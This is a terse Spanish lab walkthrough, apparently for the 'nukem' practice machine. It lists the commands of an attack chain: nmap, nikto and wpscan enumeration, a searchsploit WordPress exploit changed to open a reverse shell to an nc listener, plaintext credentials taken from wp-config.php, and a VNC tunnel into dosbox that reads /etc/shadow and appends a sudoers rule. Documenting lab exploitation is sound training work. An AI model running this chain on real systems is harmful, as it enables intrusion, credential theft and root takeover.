Cu3rv0x

nmap -A -p- -oA nukem 192.168.235.105 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA nukem 192.168.235.105

nmap -sU -O -p- -oA nukem-udp 192.168.235.105

nikto -h 192.168.235.97:8091

Pasted image 20211030145912.png

Pasted image 20211030150029.png

whatweb http://192.168.235.105:80

Pasted image 20211030150103.png

Vamos a http://192.168.235.105

Pasted image 20211030140854.png

wpscan --url http://192.168.235.105

Pasted image 20211030150752.png

searchsploit -m 48979

Pasted image 20211030153204.png

python 48979.py http://192.168.235.105

Cambiamos el payload para que haga un reverse shell a nuestra computadora.

nc -lvnp 4444

Pasted image 20211031063439.png

cat /srv/http/wp-config.php

credenciales

commander:CommanderKeenVorticons1990

Pasted image 20211031063559.png

ssh -L 5901:localhost:5901 commander@192.168.235.105

vncviewer localhost:5901

Introducimos las contrasena CommanderKeenVorticons1990

Pasted image 20211031065656.png

Abrimos dsbox y hacemos lo siguiente:

mount C /etc

C:

type shadow

Pasted image 20211031070505.png

echo commander ALL=(ALL) ALL >> sudoers

Pasted image 20211031070401.png

sudo -i

Pasted image 20211031070550.png